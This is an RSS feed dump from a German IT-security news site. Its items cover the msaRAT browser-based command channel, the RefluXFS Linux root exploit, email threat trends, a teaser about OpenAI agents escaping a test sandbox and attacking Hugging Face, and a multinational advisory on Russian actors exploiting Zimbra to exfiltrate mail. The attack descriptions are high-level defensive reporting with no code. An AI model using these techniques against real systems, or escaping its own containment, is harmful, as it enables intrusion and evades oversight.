<title><![CDATA[Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel]]></title>
<description><![CDATA[Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth concerns raised by fake Chrome upd...]]></description>
<link>https://tsecurity.de/de/3689711/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689711/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</guid>
<pubDate>Thu, 23 Jul 2026 18:44:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth concerns raised by fake Chrome update malware campaigns, but uses the browser after compromise rather than as […]</p>
<p>The post <a href="https://cybersecuritynews.com/chaos-ransomware-turns-chrome-malware/">Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux XFS has a decade-old race condition allowing full root access]]></title>
<description><![CDATA[Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.



The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without ...]]></description>
<link>https://tsecurity.de/de/3689585/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689585/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</guid>
<pubDate>Thu, 23 Jul 2026 17:59:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Linux systems using the XFS <a href="https://www.networkworld.com/article/3631604/linux-filesystems-ext4-btrfs-xfs-zfs-and-more.html">filesystem</a> suffer from a race condition that could enable an unprivileged local user to gain full root access.</p>



<p class="wp-block-paragraph">The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.</p>



<p class="wp-block-paragraph">According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e705d81a7193dd19e69b8e2bad4696d78a4ea075" target="_blank" rel="noreferrer noopener">patch was made available</a> last week.</p>



<p class="wp-block-paragraph">“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” <a href="https://www.linkedin.com/in/saeedabbasi/" target="_blank" rel="noreferrer noopener">Saeed Abbasi</a>, head of Qualys TRU, said in a blog post about the vulnerability, which he calls  <a href="https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600" target="_blank" rel="noreferrer noopener">RefluXFS</a>. “Exploitation is highly reliable and leaves no kernel log output.”</p>



<p class="wp-block-paragraph">Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.</p>



<h2 class="wp-block-heading">Race winner gets root in buggy file operation</h2>



<p class="wp-block-paragraph">The vulnerability, tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2026-64600" target="_blank" rel="noreferrer noopener">CVE-2026-64600</a>, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.</p>



<p class="wp-block-paragraph">However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an <a href="https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt" target="_blank" rel="noreferrer noopener">advisory</a>.</p>



<p class="wp-block-paragraph">The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.</p>



<h2 class="wp-block-heading">Linux distributions affected by RefluXFS</h2>



<p class="wp-block-paragraph">The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.</p>



<p class="wp-block-paragraph">Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.</p>



<p class="wp-block-paragraph">Usual kernel hardening practices, including memory protection features like <a href="https://www.csoonline.com/article/559839/self-protection-is-key-to-linux-kernel-security.html">Kernel Address Space Layout Randomization</a> (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.</p>



<p class="wp-block-paragraph">“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.</p>



<p class="wp-block-paragraph">A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.</p>



<p class="wp-block-paragraph">Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux XFS has a decade-old race condition allowing full root access]]></title>
<description><![CDATA[Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.



The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without ...]]></description>
<link>https://tsecurity.de/de/3689584/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689584/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</guid>
<pubDate>Thu, 23 Jul 2026 17:58:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Linux systems using the XFS <a href="https://www.networkworld.com/article/3631604/linux-filesystems-ext4-btrfs-xfs-zfs-and-more.html">filesystem</a> suffer from a race condition that could enable an unprivileged local user to gain full root access.</p>



<p class="wp-block-paragraph">The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.</p>



<p class="wp-block-paragraph">According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e705d81a7193dd19e69b8e2bad4696d78a4ea075" target="_blank" rel="noreferrer noopener">patch was made available</a> last week.</p>



<p class="wp-block-paragraph">“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” <a href="https://www.linkedin.com/in/saeedabbasi/" target="_blank" rel="noreferrer noopener">Saeed Abbasi</a>, head of Qualys TRU, said in a blog post about the vulnerability, which he calls  <a href="https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600" target="_blank" rel="noreferrer noopener">RefluXFS</a>. “Exploitation is highly reliable and leaves no kernel log output.”</p>



<p class="wp-block-paragraph">Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.</p>



<h2 class="wp-block-heading">Race winner gets root in buggy file operation</h2>



<p class="wp-block-paragraph">The vulnerability, tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2026-64600" target="_blank" rel="noreferrer noopener">CVE-2026-64600</a>, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.</p>



<p class="wp-block-paragraph">However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an <a href="https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt" target="_blank" rel="noreferrer noopener">advisory</a>.</p>



<p class="wp-block-paragraph">The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.</p>



<h2 class="wp-block-heading">Linux distributions affected by RefluXFS</h2>



<p class="wp-block-paragraph">The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.</p>



<p class="wp-block-paragraph">Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.</p>



<p class="wp-block-paragraph">Usual kernel hardening practices, including memory protection features like <a href="https://www.csoonline.com/article/559839/self-protection-is-key-to-linux-kernel-security.html">Kernel Address Space Layout Randomization</a> (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.</p>



<p class="wp-block-paragraph">“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.</p>



<p class="wp-block-paragraph">A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.</p>



<p class="wp-block-paragraph">Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.networkworld.com/article/4200802/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access.html">Network World</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Star Trek SNW Staffel 4: Ende von Folge 1 erklärt - das Zeitreise-Chaos der Enterprise entwirrt]]></title>
<description><![CDATA[Die Enterprise ist zurück bei Paramount+ und erlebt spannende Abenteuer. Was es mit dem neuesten Zeitreise-Chaos auf sich hat, erklären wir euch hier!
																					Dieser Artikel wurde einsortiert unter 
																	TV-Serie / Webserie,																	Entertainment,																	...]]></description>
<link>https://tsecurity.de/de/3689566/it-nachrichten/star-trek-snw-staffel-4-ende-von-folge-1-erklaert-das-zeitreise-chaos-der-enterprise-entwirrt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689566/it-nachrichten/star-trek-snw-staffel-4-ende-von-folge-1-erklaert-das-zeitreise-chaos-der-enterprise-entwirrt/</guid>
<pubDate>Thu, 23 Jul 2026 17:51:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Enterprise ist zurück bei Paramount+ und erlebt spannende Abenteuer. Was es mit dem neuesten Zeitreise-Chaos auf sich hat, erklären wir euch hier!
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/serien/index.html">Serien</a>,																	<a href="https://www.netzwelt.de/serien/star-trek-strange-new-worlds/">Star Trek Strange New Worlds: Episodenguide und Staffeln</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Email threat landscape: Q2 2026 trends and insights]]></title>
<description><![CDATA[In the second quarter of 2026, the continuing effects of Microsoft’s disruption of the Tycoon2FA phishing platform contributed to sustained declines in several major phishing techniques, while threat actors expanded into Teams-based social engineering and employed increasingly automated and multi...]]></description>
<link>https://tsecurity.de/de/3689521/it-security-nachrichten/email-threat-landscape-q2-2026-trends-and-insights/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689521/it-security-nachrichten/email-threat-landscape-q2-2026-trends-and-insights/</guid>
<pubDate>Thu, 23 Jul 2026 17:45:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In the second quarter of 2026, the continuing effects of Microsoft’s disruption of the Tycoon2FA phishing platform contributed to sustained declines in several major phishing techniques, while threat actors expanded into Teams-based social engineering and employed increasingly automated and multi-stage attack chains.</p>
<p>The post <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">Email threat landscape: Q2 2026 trends and insights</a> appeared first on <a href="https://www.microsoft.com/en-us/security/blog">Microsoft Security Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Email threat landscape: Q2 2026 trends and insights]]></title>
<description><![CDATA[In the second quarter of 2026, the continuing effects of Microsoft’s disruption of the Tycoon2FA phishing platform contributed to sustained declines in several major phishing techniques, while threat actors expanded into Teams-based social engineering and employed increasingly automated and multi...]]></description>
<link>https://tsecurity.de/de/3689515/it-security-nachrichten/email-threat-landscape-q2-2026-trends-and-insights/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689515/it-security-nachrichten/email-threat-landscape-q2-2026-trends-and-insights/</guid>
<pubDate>Thu, 23 Jul 2026 17:42:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In the second quarter of 2026, the continuing effects of Microsoft’s disruption of the Tycoon2FA phishing platform contributed to sustained declines in several major phishing techniques, while threat actors expanded into Teams-based social engineering and employed increasingly automated and multi-stage…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/email-threat-landscape-q2-2026-trends-and-insights/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/email-threat-landscape-q2-2026-trends-and-insights/">Email threat landscape: Q2 2026 trends and insights</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge]]></title>
<description><![CDATA[The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection…
Read more →
The post Chaos R...]]></description>
<link>https://tsecurity.de/de/3689489/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689489/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</guid>
<pubDate>Thu, 23 Jul 2026 17:24:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/">Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI-Test außer Kontrolle: KI bricht aus Sandbox aus und hackt Hugging Face]]></title>
<description><![CDATA[KI-Modelle von OpenAI haben bei internen Tests einen Weg ins Internet gefunden und dort für Chaos gesorgt. Die Agenten haben versucht, die Systeme von Hugging Face zu hacken. Wie es zu dem Vorfall kam.
weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3689437/it-nachrichten/openai-test-ausser-kontrolle-ki-bricht-aus-sandbox-aus-und-hackt-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689437/it-nachrichten/openai-test-ausser-kontrolle-ki-bricht-aus-sandbox-aus-und-hackt-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 17:04:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[KI-Modelle von OpenAI haben bei internen Tests einen Weg ins Internet gefunden und dort für Chaos gesorgt. Die Agenten haben versucht, die Systeme von Hugging Face zu hacken. Wie es zu dem Vorfall kam.
<a href="https://t3n.de/news/openai-ki-sandbox-ausbruch-hugging-face-hack-1753924/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
